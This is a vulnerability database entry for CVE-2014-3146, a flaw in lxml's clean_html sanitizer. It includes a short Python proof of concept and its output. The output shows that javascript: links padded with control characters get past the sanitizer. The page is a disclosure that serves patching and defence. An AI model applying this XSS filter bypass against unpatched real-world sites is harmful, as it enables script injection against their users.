lxml - 'clean_html' Security Bypass
| Reporter | Title | Published | Views | Family All 74 |
|---|---|---|---|---|
| CVE-2014-3146 | 14 May 201419:55 | – | attackerkb | |
| Amazon Linux 2 : python-lxml (ALAS-2023-1956) | 22 Feb 202300:00 | – | nessus | |
| Debian DSA-2941-1 : lxml - security update | 3 Jun 201400:00 | – | nessus | |
| EulerOS 2.0 SP9 : python-lxml (EulerOS-SA-2020-2235) | 21 Oct 202000:00 | – | nessus | |
| EulerOS 2.0 SP5 : python-lxml (EulerOS-SA-2020-2296) | 30 Oct 202000:00 | – | nessus | |
| EulerOS 2.0 SP8 : python-lxml (EulerOS-SA-2020-2529) | 14 Dec 202000:00 | – | nessus | |
| EulerOS 2.0 SP2 : python-lxml (EulerOS-SA-2021-1352) | 22 Feb 202100:00 | – | nessus | |
| EulerOS Virtualization 3.0.6.6 : python-lxml (EulerOS-SA-2021-1514) | 4 Mar 202100:00 | – | nessus | |
| EulerOS 2.0 SP3 : python-lxml (EulerOS-SA-2021-1839) | 30 Apr 202100:00 | – | nessus | |
| EulerOS Virtualization for ARM 64 3.0.2.0 : python-lxml (EulerOS-SA-2021-2109) | 2 Jul 202100:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/67159/info
lxml is prone to a security-bypass vulnerability.
An attacker can leverage this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks.
Versions prior to lxml 3.3.5 are vulnerable.
from lxml.html.clean import clean_html
html = '''\
<html>
<body>
<a href="javascript:alert(0)">
aaa</a>
<a href="javas\x01cript:alert(1)">bbb</a>
<a href="javas\x02cript:alert(1)">bbb</a>
<a href="javas\x03cript:alert(1)">bbb</a>
<a href="javas\x04cript:alert(1)">bbb</a>
<a href="javas\x05cript:alert(1)">bbb</a>
<a href="javas\x06cript:alert(1)">bbb</a>
<a href="javas\x07cript:alert(1)">bbb</a>
<a href="javas\x08cript:alert(1)">bbb</a>
<a href="javas\x09cript:alert(1)">bbb</a>
</body>
</html>'''
print clean_html(html)
Output:
<div>
<body>
<a href="">aaa</a>
<a href="javascript:alert(1)">
bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="">bbb</a>
</body>
</div>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Jan 2016 00:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.06333
SSVC